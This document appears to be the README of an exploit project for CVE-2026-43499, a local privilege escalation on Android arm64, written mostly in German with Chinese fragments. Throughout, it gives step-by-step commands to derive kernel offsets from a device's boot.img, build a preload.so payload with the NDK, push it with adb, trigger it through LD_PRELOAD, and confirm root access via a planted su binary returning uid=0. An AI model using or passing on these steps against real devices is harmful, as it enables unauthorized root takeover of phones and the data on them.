
Generiert gerätespezifische Kernel-Offsets aus boot.img und kompiliert eine Preload-Bibliothek, um die lokale Rechteausweitung von Android arm64 (CVE-2026-43499) auszunutzen.
English | Chinesisch
Dies ist ein Projekt zur Anpassung der lokalen Rechteausweitung (Local Privilege Escalation) unter Android arm64 für CVE-2026-43499.
Das Projekt generiert target.h basierend auf dem boot.img des Zielgeräts und den Profilinformationen und kompiliert anschließend das entsprechende preload.so.
Hinweis: Dieses Projekt ist ein generisches Anpassungs-Framework und an keine einzelne Gerätevariante gebunden. Ob es tatsächlich funktioniert, hängt davon ab, ob
generate_target.pyerfolgreichtarget.hgenerieren kann, sowie von den Testergebnissen auf einem echten Gerät ab.
项目目录/
├── boot.img # 目标设备同固件 boot 镜像
├── profile.json # 目标设备 profile
├── detect_offset.py # 检测 profile 用
├── generate_target.py # 生成 target.h
├── source/
│ ├── Makefile
│ └── src/
│ └── target.h # 自动生成
└── source/build/bin/
└── preload.so # 编译产物
Python 3
LLVM / llvm-objdump
Android NDK
make
adb
Unter Windows wird Folgendes empfohlen:
MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64
Installieren Sie make in MSYS2:
pacman -S make coreutils
Sie benötigen:
boot.img
profile.json
Beispiel für profile:
{
"p0_phys_offset": "0x80000000",
"p0_kernel_phys_load": "0xc7800000"
}
Diese beiden Adressen in profile:
p0_phys_offset
p0_kernel_phys_load
können Sie auf einem bereits gerooteten Telefon mit derselben Firmware wie das Ziel-boot.img erhalten, indem Sie das Skript ausführen:
python3 detect_offset.py
Unter Windows ebenfalls möglich:
python detect_offset.py
Linux / macOS:
cd PATH/project
Windows-MSYS2-Beispiel:
cd PATH/CVE-2026-43499-Poc-Analysis-main
Linux/macOS-Beispiel:
export ANDROID_NDK_HOME=PATH/android-ndk
Windows-MSYS2-Beispiel:
export ANDROID_NDK_HOME=PATH/android-ndk-r29
python generate_target.py \
--boot boot.img \
--profile profile.json \
-o source/src/target.h
Oder mit CMD:
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h
Wenn die Meldung erscheint, dass llvm-objdump nicht gefunden wurde, geben Sie den Pfad manuell an:
python generate_target.py \
--boot boot.img \
--profile profile.json \
-o source/src/target.h \
--llvm-objdump "PATH/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
Oder mit CMD:
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h --llvm-objdump "PATH/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
Nach erfolgreicher Ausführung erscheint etwa Folgendes:
生成成功: .../source/src/target.h
kernel SHA-256: ...
target macros: ...
Linux / macOS:
make -C source clean preload
Windows MSYS2:
make -C source clean preload NDK_PREBUILT=windows-x86_64
Nach erfolgreicher Ausführung wird erzeugt:
source/build/bin/preload.so
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell "chmod 0644 /data/local/tmp/preload.so"
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true"
Überprüfung:
adb shell "/data/local/tmp/su -c 'id'"
Bei Erfolg erscheint in der Regel:
uid=0(root) gid=0(root)
Beispiel mit Ihrem Pfad:
cd PATH/CVE-2026-43499-annibale-main
export ANDROID_NDK_HOME=PATH/android-ndk-r29
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h
make -C source clean preload NDK_PREBUILT=windows-x86_64
Endgültige Datei:
source/build/bin/preload.so
Installieren Sie LLVM oder verwenden Sie:
--llvm-objdump "PATH/llvm-objdump"
Unter Windows über MSYS2 installieren:
pacman -S make coreutils
In der Regel ist der NDK-Pfad nicht richtig konfiguriert.
Windows-MSYS2-Beispiel:
export ANDROID_NDK_HOME=PATH/android-ndk-r29
make -C source clean preload NDK_PREBUILT=windows-x86_64
Das bedeutet in der Regel, dass das aktuelle boot.img oder das Kernel-Layout noch nicht erfolgreich angepasst wurde.
Schwerpunktmäßig prüfen:
boot.img 是否完整
profile 是否正确
llvm-objdump 是否可用
内核是否有 IKCONFIG / kallsyms / BTF
target.h neu generiert werden.target.h manuell zu ändern; es sollte automatisch mit generate_target.py generiert werden.